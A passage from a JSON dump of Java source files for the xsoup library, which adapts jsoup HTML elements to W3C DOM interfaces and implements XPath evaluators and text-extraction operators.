    "content": "package com.jun.plugin.xsoup.w3c;\n\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport org.w3c.dom.DOMException;\nimport org.w3c.dom.NamedNodeMap;\nimport org.w3c.dom.Node;\n\n/**\n * @author code4crafer@gmail.com\n */\npublic class NamedNodeMapAdaptor implements NamedNodeMap {\n\n    private List<? extends Node> nodeList;\n    private Map<String, Node> nodeMap;\n\n    public NamedNodeMapAdaptor(List<? extends Node> nodeList) {\n        this.nodeList = nodeList;\n        nodeMap = new HashMap<String, Node>(nodeList.size());\n        for (Node node : nodeList) {\n            nodeMap.put(node.getNodeName(), node);\n        }\n    }\n\n    @Override\n    public Node getNamedItem(String name) {\n        return nodeMap.get(name);\n    }\n\n    @Override\n    public Node setNamedItem(Node arg) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public Node removeNamedItem(String name) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public Node item(int index) {\n        return nodeList.get(index);\n    }\n\n    @Override\n    public int getLength() {\n        return nodeList.size();\n    }\n\n    @Override\n    public Node getNamedItemNS(String namespaceURI, String localName) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public Node setNamedItemNS(Node arg) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public Node removeNamedItemNS(String namespaceURI, String localName) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/w3c/NodeAdaptor.java",
    "content": "package com.jun.plugin.xsoup.w3c;\n\nimport org.w3c.dom.DOMException;\nimport org.w3c.dom.Node;\nimport org.w3c.dom.UserDataHandler;\n\n/**\n * @author code4crafer@gmail.com\n */\npublic abstract class NodeAdaptor implements Node {\n\n    @Override\n    public void setNodeValue(String nodeValue) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public Node insertBefore(Node newChild, Node refChild) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public Node replaceChild(Node newChild, Node oldChild) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public Node removeChild(Node oldChild) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public Node appendChild(Node newChild) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public void normalize() {\n\n    }\n\n    @Override\n    public boolean isSupported(String feature, String version) {\n        return false;\n    }\n\n    @Override\n    public String getNamespaceURI() {\n        return null;\n    }\n\n    @Override\n    public String getPrefix() {\n        return null;\n    }\n\n    @Override\n    public void setPrefix(String prefix) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public String getLocalName() {\n        return null;\n    }\n\n    @Override\n    public String getBaseURI() {\n        return null;\n    }\n\n    @Override\n    public void setTextContent(String textContent) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public String lookupPrefix(String namespaceURI) {\n        return null;\n    }\n\n    @Override\n    public boolean isDefaultNamespace(String namespaceURI) {\n        return false;\n    }\n\n    @Override\n    public String lookupNamespaceURI(String prefix) {\n        return null;\n    }\n\n    @Override\n    public Object getFeature(String feature, String version) {\n        return null;\n    }\n\n    @Override\n    public Object setUserData(String key, Object data, UserDataHandler handler) {\n        throw new UnsupportedOperationException();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/w3c/NodeAdaptors.java",
    "content": "package com.jun.plugin.xsoup.w3c;\n\nimport java.util.List;\nimport org.jsoup.nodes.Attribute;\nimport org.jsoup.nodes.Attributes;\nimport org.jsoup.nodes.Element;\nimport org.jsoup.select.Elements;\nimport org.w3c.dom.Attr;\nimport org.w3c.dom.Document;\nimport org.w3c.dom.NamedNodeMap;\nimport org.w3c.dom.Node;\nimport org.w3c.dom.NodeList;\n\n/**\n * @author code4crafer@gmail.com\n */\npublic class NodeAdaptors {\n\n    public static Node getNode(org.jsoup.nodes.Node node) {\n        if (node == null) {\n            return null;\n        }\n        if (node instanceof Element) {\n            return new ElementAdaptor((Element) node);\n        }\n        return null;\n    }\n\n    public static org.w3c.dom.Element getElement(Element element) {\n        if (element == null) {\n            return null;\n        }\n        return new ElementAdaptor(element);\n    }\n\n    public static Document getDocument(org.jsoup.nodes.Document document) {\n        if (document == null) {\n            return null;\n        }\n        return new DocumentAdaptor(document);\n    }\n\n    public static NodeList getNodeList(Elements elements) {\n        if (elements == null || elements.size() == 0) {\n            return null;\n        }\n        return new NodeListAdaptor(elements);\n    }\n\n    public static NodeList getNodeList(List<org.jsoup.nodes.Node> elements) {\n        if (elements == null || elements.size() == 0) {\n            return null;\n        }\n        return new NodeListAdaptor(elements);\n    }\n\n    public static Attr getAttr(Attribute attr, Element element) {\n        if (attr == null || element == null) {\n            return null;\n        }\n        return new AttributeAdaptor(attr, element);\n    }\n\n    public static NamedNodeMap getNamedNodeMap(List<? extends Node> nodeList) {\n        if (nodeList == null || nodeList == null) {\n            return null;\n        }\n        return new NamedNodeMapAdaptor(nodeList);\n    }\n\n    public static List<Attr> getAttributes(Attributes attrs, Element element) {\n        if (attrs == null || element == null) {\n            return null;\n        }\n        return new AttributesAdaptor(attrs, element).get();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/w3c/NodeListAdaptor.java",
    "content": "package com.jun.plugin.xsoup.w3c;\n\nimport java.util.List;\nimport org.w3c.dom.Node;\nimport org.w3c.dom.NodeList;\n\n/**\n * @author code4crafer@gmail.com\n */\npublic class NodeListAdaptor implements NodeList {\n\n    private List<? extends org.jsoup.nodes.Node> nodes;\n\n    public NodeListAdaptor(List<? extends org.jsoup.nodes.Node> nodes) {\n        this.nodes = nodes;\n    }\n\n    @Override\n    public Node item(int index) {\n        return NodeAdaptors.getNode(nodes.get(index));\n    }\n\n    @Override\n    public int getLength() {\n        return nodes.size();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/xevaluator/CombingXPathEvaluator.java",
    "content": "package com.jun.plugin.xsoup.xevaluator;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\nimport org.jsoup.nodes.Element;\n\nimport com.jun.plugin.xsoup.XElements;\nimport com.jun.plugin.xsoup.XPathEvaluator;\n\n/**\n * @author code4crafter@gmail.com\n */\npublic class CombingXPathEvaluator implements XPathEvaluator {\n\n    private List<XPathEvaluator> xPathEvaluators;\n\n    public CombingXPathEvaluator(List<XPathEvaluator> xPathEvaluators) {\n        this.xPathEvaluators = xPathEvaluators;\n    }\n\n    public CombingXPathEvaluator(XPathEvaluator... xPathEvaluators) {\n        this.xPathEvaluators = Arrays.asList(xPathEvaluators);\n    }\n\n    @Override\n    public XElements evaluate(Element element) {\n        List<XElements> xElementses = new ArrayList<XElements>();\n        for (XPathEvaluator xPathEvaluator : xPathEvaluators) {\n            xElementses.add(xPathEvaluator.evaluate(element));\n        }\n        return new CombiningDefaultXElements(xElementses);\n    }\n\n    @Override\n    public boolean hasAttribute() {\n        for (XPathEvaluator xPathEvaluator : xPathEvaluators) {\n            if (xPathEvaluator.hasAttribute()) {\n                return true;\n            }\n        }\n        return false;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/xevaluator/CombiningDefaultXElements.java",
    "content": "package com.jun.plugin.xsoup.xevaluator;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\nimport org.jsoup.select.Elements;\n\nimport com.jun.plugin.xsoup.XElements;\n\n/**\n * @author code4crafter@gmail.com\n */\npublic class CombiningDefaultXElements implements XElements {\n\n    private List<XElements> elementsList;\n\n    public CombiningDefaultXElements(List<XElements> elementsList) {\n        this.elementsList = elementsList;\n    }\n\n    public CombiningDefaultXElements(XElements... elementsList) {\n        this.elementsList = Arrays.asList(elementsList);\n    }\n\n    @Override\n    public String get() {\n        for (XElements xElements : elementsList) {\n            String result = xElements.get();\n            if (result != null) {\n                return result;\n            }\n        }\n        return null;\n    }\n\n    @Override\n    public List<String> list() {\n        List<String> results = new ArrayList<String>();\n        for (XElements xElements : elementsList) {\n            results.addAll(xElements.list());\n        }\n        return results;\n    }\n\n    public Elements getElements() {\n        Elements elements = new Elements();\n        for (XElements xElements : elementsList) {\n            elements.addAll(xElements.getElements());\n        }\n        return elements;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/xevaluator/CombiningEvaluator.java",
    "content": "package com.jun.plugin.xsoup.xevaluator;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collection;\nimport java.util.List;\n\nimport org.jsoup.internal.StringUtil;\nimport org.jsoup.nodes.Element;\nimport org.jsoup.select.Evaluator;\n\n/**\n * Base combining (and, or) evaluator.\n * <p>\n * Copy from {@link org.jsoup.select.CombiningEvaluator} because it is package visible\n *\n * @see org.jsoup.select.CombiningEvaluator\n */\nabstract class CombiningEvaluator extends Evaluator {\n    final List<Evaluator> evaluators;\n\n    CombiningEvaluator() {\n        super();\n        evaluators = new ArrayList<Evaluator>();\n    }\n\n    CombiningEvaluator(Collection<Evaluator> evaluators) {\n        this();\n        this.evaluators.addAll(evaluators);\n    }\n\n    Evaluator rightMostEvaluator() {\n        return evaluators.size() > 0 ? evaluators.get(evaluators.size() - 1) : null;\n    }\n\n    void replaceRightMostEvaluator(Evaluator replacement) {\n        evaluators.set(evaluators.size() - 1, replacement);\n    }\n\n    static final class And extends CombiningEvaluator {\n        And(Collection<Evaluator> evaluators) {\n            super(evaluators);\n        }\n\n        And(Evaluator... evaluators) {\n            this(Arrays.asList(evaluators));\n        }\n\n        @Override\n        public boolean matches(Element root, Element node) {\n            for (int i = 0; i < evaluators.size(); i++) {\n                Evaluator s = evaluators.get(i);\n                if (!s.matches(root, node)) return false;\n            }\n            return true;\n        }\n\n        @Override\n        public String toString() {\n            return StringUtil.join(evaluators, \" \");\n        }\n    }\n\n    static final class Or extends CombiningEvaluator {\n\n        Or(Collection<Evaluator> evaluators) {\n            super();\n            this.evaluators.addAll(evaluators);\n        }\n\n        Or(Evaluator... evaluators) {\n            this(Arrays.asList(evaluators));\n        }\n\n        Or() {\n            super();\n        }\n\n        public void add(Evaluator e) {\n            evaluators.add(e);\n        }\n\n        @Override\n        public boolean matches(Element root, Element node) {\n            for (int i = 0; i < evaluators.size(); i++) {\n                Evaluator s = evaluators.get(i);\n                if (s.matches(root, node)) return true;\n            }\n            return false;\n        }\n\n        @Override\n        public String toString() {\n            return String.format(\":or%s\", evaluators);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/xevaluator/DefaultXElement.java",
    "content": "package com.jun.plugin.xsoup.xevaluator;\n\nimport org.jsoup.nodes.Element;\n\nimport com.jun.plugin.xsoup.XElement;\n\n/**\n * XPath result.\n *\n * @author code4crafter@gmail.com\n */\npublic class DefaultXElement implements XElement {\n\n    private Element element;\n\n    private ElementOperator elementOperator;\n\n    public DefaultXElement(Element element, ElementOperator elementOperator) {\n        this.element = element;\n        this.elementOperator = elementOperator;\n    }\n\n    @Override\n    public String get() {\n        return get(elementOperator);\n    }\n\n    protected String get(ElementOperator elementOperator) {\n        if (elementOperator == null) {\n            return element.toString();\n        }\n        else {\n            return elementOperator.operate(element);\n        }\n    }\n\n    public String toString() {\n        return get();\n    }\n\n    @Override\n    public Element getElement() {\n        return element;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/xevaluator/DefaultXElements.java",
    "content": "package com.jun.plugin.xsoup.xevaluator;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport org.jsoup.nodes.Element;\nimport org.jsoup.select.Elements;\n\nimport com.jun.plugin.xsoup.XElement;\nimport com.jun.plugin.xsoup.XElements;\n\n/**\n * XPath results.\n *\n * @author code4crafter@gmail.com\n */\npublic class DefaultXElements extends ArrayList<XElement> implements XElements {\n\n    private Elements elements;\n\n    private ElementOperator elementOperator;\n\n    public DefaultXElements(Elements elements, ElementOperator elementOperator) {\n        this.elements = elements;\n        this.elementOperator = elementOperator;\n        initList();\n    }\n\n    private void initList() {\n        for (Element element : elements) {\n            this.add(new DefaultXElement(element, elementOperator));\n        }\n    }\n\n    @Override\n    public String get() {\n        if (size() < 1) {\n            return null;\n        }\n        else {\n            return get(0).get();\n        }\n    }\n\n    @Override\n    public List<String> list() {\n        List<String> resultStrings = new ArrayList<String>();\n        for (XElement xElement : this) {\n            String text = xElement.get();\n            if (text != null) {\n                resultStrings.add(text);\n            }\n        }\n        return resultStrings;\n    }\n\n    @Override\n    public String toString() {\n        return get();\n    }\n\n    @Override\n    public Elements getElements() {\n        return elements;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/xevaluator/DefaultXPathEvaluator.java",
    "content": "package com.jun.plugin.xsoup.xevaluator;\n\nimport org.jsoup.nodes.Element;\nimport org.jsoup.select.Collector;\nimport org.jsoup.select.Elements;\nimport org.jsoup.select.Evaluator;\n\nimport com.jun.plugin.xsoup.XElements;\nimport com.jun.plugin.xsoup.XPathEvaluator;\n\n/**\n * @author code4crafter@gmail.com\n */\npublic class DefaultXPathEvaluator implements XPathEvaluator {\n\n    private Evaluator evaluator;\n\n    private ElementOperator elementOperator;\n\n    public DefaultXPathEvaluator(Evaluator evaluator, ElementOperator elementOperator) {\n        this.evaluator = evaluator;\n        this.elementOperator = elementOperator;\n    }\n\n    @Override\n    public XElements evaluate(Element element) {\n        Elements elements;\n        if (evaluator != null) {\n            elements = Collector.collect(evaluator, element);\n        }\n        else {\n            elements = new Elements();\n            elements.add(element);\n        }\n        return new DefaultXElements(elements, elementOperator);\n    }\n\n    @Override\n    public boolean hasAttribute() {\n        return elementOperator != null;\n    }\n\n    public Evaluator getEvaluator() {\n        return evaluator;\n    }\n\n    public String getAttribute() {\n        if (elementOperator == null) {\n            return null;\n        }\n        return elementOperator.toString();\n    }\n\n    public ElementOperator getElementOperator() {\n        return elementOperator;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/xevaluator/ElementOperator.java",
    "content": "package com.jun.plugin.xsoup.xevaluator;\n\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport org.jsoup.helper.Validate;\nimport org.jsoup.nodes.Element;\nimport org.jsoup.nodes.Node;\nimport org.jsoup.nodes.TextNode;\n\nimport com.jun.plugin.xsoup.Xsoup;\n\n/**\n * Operate on element to get XPath result.\n *\n * @author code4crafter@gmail.com\n */\npublic abstract class ElementOperator {\n\n    public abstract String operate(Element element);\n\n    public static class AttributeGetter extends ElementOperator {\n\n        private String attribute;\n\n        public AttributeGetter(String attribute) {\n            this.attribute = attribute;\n        }\n\n        @Override\n        public String operate(Element element) {\n            return element.attr(attribute);\n        }\n\n        @Override\n        public String toString() {\n            return \"@\" + attribute;\n        }\n    }\n\n    public static class AllText extends ElementOperator {\n\n        @Override\n        public String operate(Element element) {\n            return element.text();\n        }\n\n        @Override\n        public String toString() {\n            return \"allText()\";\n        }\n    }\n\n    public static class Html extends ElementOperator {\n\n        @Override\n        public String operate(Element element) {\n            return element.html();\n        }\n\n        @Override\n        public String toString() {\n            return \"html()\";\n        }\n    }\n\n    public static class OuterHtml extends ElementOperator {\n\n        @Override\n        public String operate(Element element) {\n            return element.outerHtml();\n        }\n\n        @Override\n        public String toString() {\n            return \"outerHtml()\";\n        }\n    }\n\n    public static class TidyText extends ElementOperator {\n\n        @Override\n        public String operate(Element element) {\n            //FormattingVisitor formatter = new FormattingVisitor();\n            //NodeTraversor.traverse(formatter, element);\n            //return formatter.toString();\n            //return new HtmlToPlainText().getPlainText(element);\n            return Xsoup.HtmlToPlainText(element);\n        }\n\n        @Override\n        public String toString() {\n            return \"tidyText()\";\n        }\n    }\n\n    public static class GroupedText extends ElementOperator {\n\n        private int group;\n\n        public GroupedText(int group) {\n            this.group = group;\n        }\n\n        @Override\n        public String operate(Element element) {\n            int index = 0;\n            StringBuilder accum = new StringBuilder();\n            for (Node node : element.childNodes()) {\n                if (node instanceof TextNode) {\n                    TextNode textNode = (TextNode) node;\n                    if (group == 0) {\n                        accum.append(textNode.text());\n                    }\n                    else if (++index == group) {\n                        return textNode.text();\n                    }\n                }\n            }\n            return accum.toString();\n        }\n\n        @Override\n        public String toString() {\n            return String.format(\"text(%d)\", group);\n        }\n    }\n\n    /**\n     * usage:\n     * <br>\n     * regex('.*')\n     * regex(@attr,'.*')\n     * regex(@attr,'.*',group)\n     */\n    public static class Regex extends ElementOperator {\n\n        private Pattern pattern;\n\n        private String attribute;\n\n        private int group;\n\n        public Regex(String expr) {\n            this.pattern = Pattern.compile(expr);\n        }\n\n        public Regex(String expr, String attribute) {\n            this.attribute = attribute;\n            this.pattern = Pattern.compile(expr);\n        }\n\n        public Regex(String expr, String attribute, int group) {\n            this.attribute = attribute;\n            this.pattern = Pattern.compile(expr);\n            this.group = group;\n        }\n\n        @Override\n        public String operate(Element element) {\n            Matcher matcher = pattern.matcher(getSource(element));\n            if (matcher.find()) {\n                return matcher.group(group);\n            }\n            return null;\n        }\n\n        protected String getSource(Element element) {\n            if (attribute == null) {\n                return element.outerHtml();\n            }\n            else {\n                String attr = element.attr(attribute);\n                Validate.notNull(attr, \"Attribute \" + attribute + \" of \" + element + \" is not exist!\");\n                return attr;\n            }\n        }\n\n        @Override\n        public String toString() {\n            return String.format(\"regex(%s%s%s)\",\n                                 attribute != null ? \"@\" + attribute + \",\" : \"\", pattern.toString(),\n                                 group != 0 ? \",\" + group : \"\");\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/xevaluator/FormattingVisitor.java",
    "content": "package com.jun.plugin.xsoup.xevaluator;\n\nimport org.jsoup.internal.StringUtil;\nimport org.jsoup.nodes.Node;\nimport org.jsoup.nodes.TextNode;\nimport org.jsoup.select.NodeVisitor;\n\n/**\n * @author waincent\n * @since 2018-04-08\n */\npublic class FormattingVisitor implements NodeVisitor {\n    private static final int maxWidth = 80;\n    private int width = 0;\n    private StringBuilder accum = new StringBuilder(); // holds the accumulated text\n\n    // hit when the node is first seen\n    @Override\n\tpublic void head(Node node, int depth) {\n        String name = node.nodeName();\n        if (node instanceof TextNode) {\n            append(((TextNode) node).text()); // TextNodes carry all user-readable text in the DOM.\n        }\n        else if (name.equals(\"li\")) {\n            append(\"\\n * \");\n        }\n        else if (name.equals(\"dt\")) {\n            append(\"  \");\n        }\n        else if (StringUtil.in(name, \"p\", \"h1\", \"h2\", \"h3\", \"h4\", \"h5\", \"tr\")) append(\"\\n\");\n    }\n\n    // hit when all of the node's children (if any) have been visited\n    @Override\n\tpublic void tail(Node node, int depth) {\n        String name = node.nodeName();\n        if (StringUtil.in(name, \"br\", \"dd\", \"dt\", \"p\", \"h1\", \"h2\", \"h3\", \"h4\", \"h5\")) {\n            append(\"\\n\");\n        }\n        else if (name.equals(\"a\")) append(String.format(\" <%s>\", node.absUrl(\"href\")));\n    }\n\n    // appends text to the string builder with a simple word wrap method\n    private void append(String text) {\n        if (text.startsWith(\"\\n\")) {\n            width = 0; // reset counter if starts with a newline. only from formats above, not in natural text\n        }\n        if (text.equals(\" \") && (accum.length() == 0 || StringUtil.in(accum.substring(accum.length()\n                                                                                          - 1), \" \", \"\\n\"))) {\n            return; // don't accumulate long runs of empty spaces\n        }\n\n        if (text.length() + width > maxWidth) { // won't fit, needs to wrap\n            String words[] = text.split(\"\\\\s+\");\n            for (int i = 0; i < words.length; i++) {\n                String word = words[i];\n                boolean last = i == words.length - 1;\n                if (!last) // insert a space if not the last word\n                {\n                    word = word + \" \";\n                }\n                if (word.length() + width > maxWidth) { // wrap and reset counter\n                    accum.append(\"\\n\").append(word);\n                    width = word.length();\n                }\n                else {\n                    accum.append(word);\n                    width += word.length();\n                }\n            }\n        }\n        else { // fits as is, without need to wrap text\n            accum.append(text);\n            width += text.length();\n        }\n    }\n\n    @Override\n    public String toString() {\n        return accum.toString();\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/xevaluator/HtmlToPlainText.java",
    "content": "package com.jun.plugin.xsoup.xevaluator;\n\nimport java.io.IOException;\n\nimport org.jsoup.Jsoup;\nimport org.jsoup.helper.Validate;\nimport org.jsoup.internal.StringUtil;\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\nimport org.jsoup.nodes.Node;\nimport org.jsoup.nodes.TextNode;\nimport org.jsoup.select.Elements;\nimport org.jsoup.select.NodeTraversor;\nimport org.jsoup.select.NodeVisitor;\n\n/**\n * HTML to plain-text. This example program demonstrates the use of jsoup to convert HTML input to lightly-formatted\n * plain-text. That is divergent from the general goal of jsoup's .text() methods, which is to get clean data from a\n * scrape.\n * <p>\n * Note that this is a fairly simplistic formatter -- for real world use you'll want to embrace and extend.\n * </p>\n * <p>\n * To invoke from the command line, assuming you've downloaded the jsoup jar to your current directory:</p>\n * <p><code>java -cp jsoup.jar org.jsoup.examples.HtmlToPlainText url [selector]</code></p>\n * where <i>url</i> is the URL to fetch, and <i>selector</i> is an optional CSS selector.\n *\n * @author Jonathan Hedley, jonathan@hedley.net\n */\npublic class HtmlToPlainText {\n    private static final String userAgent = \"Mozilla/5.0 (jsoup)\";\n    private static final int timeout = 5 * 1000;\n\n    public static void main(String... args) throws IOException {\n        Validate.isTrue(args.length == 1 || args.length == 2, \"usage: java -cp jsoup.jar org.jsoup.examples.HtmlToPlainText url [selector]\");\n        final String url = args[0];\n        final String selector = args.length == 2 ? args[1] : null;\n\n        // fetch the specified URL and parse to a HTML DOM\n        Document doc = Jsoup.connect(url).userAgent(userAgent).timeout(timeout).get();\n\n        HtmlToPlainText formatter = new HtmlToPlainText();\n\n        if (selector != null) {\n            Elements elements = doc.select(selector); // get each element that matches the CSS selector\n            for (Element element : elements) {\n                String plainText = formatter.getPlainText(element); // format that element to plain text\n                System.out.println(plainText);\n            }\n        } else { // format the whole doc\n            String plainText = formatter.getPlainText(doc);\n            System.out.println(plainText);\n        }\n    }\n\n    /**\n     * Format an Element to plain-text\n     * @param element the root element to format\n     * @return formatted text\n     */\n    public String getPlainText(Element element) {\n        FormattingVisitor formatter = new FormattingVisitor();\n//        NodeTraversor.traverse(formatter, element); // walk the DOM, and call .head() and .tail() for each node\n        return formatter.toString();\n    }\n\n    // the formatting rules, implemented in a breadth-first DOM traverse\n    private static class FormattingVisitor implements NodeVisitor {\n        private static final int maxWidth = 80;\n        private int width = 0;\n        private StringBuilder accum = new StringBuilder(); // holds the accumulated text\n\n        // hit when the node is first seen\n        @Override\n\t\tpublic void head(Node node, int depth) {\n            String name = node.nodeName();\n            if (node instanceof TextNode)\n                append(((TextNode) node).text()); // TextNodes carry all user-readable text in the DOM.\n            else if (name.equals(\"li\"))\n                append(\"\\n * \");\n            else if (name.equals(\"dt\"))\n                append(\"  \");\n            else if (StringUtil.in(name, \"p\", \"h1\", \"h2\", \"h3\", \"h4\", \"h5\", \"tr\"))\n                append(\"\\n\");\n        }\n\n        // hit when all of the node's children (if any) have been visited\n        @Override\n\t\tpublic void tail(Node node, int depth) {\n            String name = node.nodeName();\n            if (StringUtil.in(name, \"br\", \"dd\", \"dt\", \"p\", \"h1\", \"h2\", \"h3\", \"h4\", \"h5\"))\n                append(\"\\n\");\n            else if (name.equals(\"a\"))\n                append(String.format(\" <%s>\", node.absUrl(\"href\")));\n        }\n\n        // appends text to the string builder with a simple word wrap method\n        private void append(String text) {\n            if (text.startsWith(\"\\n\"))\n                width = 0; // reset counter if starts with a newline. only from formats above, not in natural text\n            if (text.equals(\" \") &&\n                    (accum.length() == 0 || StringUtil.in(accum.substring(accum.length() - 1), \" \", \"\\n\")))\n                return; // don't accumulate long runs of empty spaces\n\n            if (text.length() + width > maxWidth) { // won't fit, needs to wrap\n                String[] words = text.split(\"\\\\s+\");\n                for (int i = 0; i < words.length; i++) {\n                    String word = words[i];\n                    boolean last = i == words.length - 1;\n                    if (!last) // insert a space if not the last word\n                        word = word + \" \";\n                    if (word.length() + width > maxWidth) { // wrap and reset counter\n                        accum.append(\"\\n\").append(word);\n                        width = word.length();\n                    } else {\n                        accum.append(word);\n                        width += word.length();\n                    }\n                }\n            } else { // fits as is, without need to wrap text\n                accum.append(text);\n                width += text.length();\n            }\n        }\n\n        @Override\n        public String toString() {\n            return accum.toString();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/xevaluator/StructuralEvaluator.java",
    "content": "package com.jun.plugin.xsoup.xevaluator;\n\nimport org.jsoup.nodes.Element;\nimport org.jsoup.select.Evaluator;\n\n/**\n * Base structural evaluator.\n * Copy from {@link org.jsoup.select.StructuralEvaluator} because it is package visible\n *\n * @see org.jsoup.select.StructuralEvaluator\n */\nabstract class StructuralEvaluator extends Evaluator {\n    Evaluator evaluator;\n\n    static class Root extends Evaluator {\n        public boolean matches(Element root, Element element) {\n            return root == element;\n        }\n\n        public String toString() {\n            return \":root\";\n        }\n    }\n\n    static class Has extends StructuralEvaluator {\n        public Has(Evaluator evaluator) {\n            this.evaluator = evaluator;\n        }\n\n        public boolean matches(Element root, Element element) {\n            for (Element e : element.getAllElements()) {\n                if (e != element && evaluator.matches(root, e)) return true;\n            }\n            return false;\n        }\n\n        public String toString() {\n            return String.format(\":has(%s)\", evaluator);\n        }\n    }\n\n    static class Not extends StructuralEvaluator {\n        public Not(Evaluator evaluator) {\n            this.evaluator = evaluator;\n        }\n\n        public boolean matches(Element root, Element node) {\n            return !evaluator.matches(root, node);\n        }\n\n        public String toString() {\n            return String.format(\":not%s\", evaluator);\n        }\n    }\n\n    static class Parent extends StructuralEvaluator {\n        public Parent(Evaluator evaluator) {\n            this.evaluator = evaluator;\n        }\n\n        public boolean matches(Element root, Element element) {\n            Element parent = element.parent();\n            while (parent != null) {\n                if (evaluator.matches(root, parent)) return true;\n                parent = parent.parent();\n            }\n            return false;\n        }\n\n        public String toString() {\n            return String.format(\":parent%s\", evaluator);\n        }\n    }\n\n    static class ImmediateParent extends StructuralEvaluator {\n        public ImmediateParent(Evaluator evaluator) {\n            this.evaluator = evaluator;\n        }\n\n        public boolean matches(Element root, Element element) {\n            Element parent = element.parent();\n            return parent != null && evaluator.matches(root, parent);\n        }\n\n        public String toString() {\n            return String.format(\":ImmediateParent%s\", evaluator);\n        }\n    }\n\n    static class PreviousSibling extends StructuralEvaluator {\n        public PreviousSibling(Evaluator evaluator) {\n            this.evaluator = evaluator;\n        }\n\n        public boolean matches(Element root, Element element) {\n            if (root == element) return false;\n\n            Element prev = element.previousElementSibling();\n\n            while (prev != null) {\n                if (evaluator.matches(root, prev)) return true;\n\n                prev = prev.previousElementSibling();\n            }\n            return false;\n        }\n\n        public String toString() {\n            return String.format(\":prev*%s\", evaluator);\n        }\n    }\n\n    static class ImmediatePreviousSibling extends StructuralEvaluator {\n        public ImmediatePreviousSibling(Evaluator evaluator) {\n            this.evaluator = evaluator;\n        }\n\n        public boolean matches(Element root, Element element) {\n            if (root == element) return false;\n\n            Element prev = element.previousElementSibling();\n            return prev != null && evaluator.matches(root, prev);\n        }\n\n        public String toString() {\n            return String.format(\":prev%s\", evaluator);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/xevaluator/XEvaluators.java",
    "content": "package com.jun.plugin.xsoup.xevaluator;\n\nimport org.jsoup.nodes.Element;\nimport org.jsoup.select.Elements;\nimport org.jsoup.select.Evaluator;\n\n/**\n * Evaluators in Xsoup.\n *\n * @author code4crafter@gmail.com\n */\npublic abstract class XEvaluators {\n\n    public static class HasAnyAttribute extends Evaluator {\n\n        @Override\n        public boolean matches(Element root, Element element) {\n            return element.attributes().size() > 0;\n        }\n    }\n\n    public static class IsNthOfType extends Evaluator.CssNthEvaluator {\n        public IsNthOfType(int a, int b) {\n            super(a, b);\n        }\n\n        protected int calculatePosition(Element root, Element element) {\n            int pos = 0;\n            Elements family = element.parent().children();\n            for (int i = 0; i < family.size(); i++) {\n                if (family.get(i).tag().equals(element.tag())) pos++;\n                if (family.get(i) == element) break;\n            }\n            return pos;\n        }\n\n        @Override\n        protected String getPseudoClass() {\n            return \"nth-of-type\";\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/xevaluator/XPathParser.java",
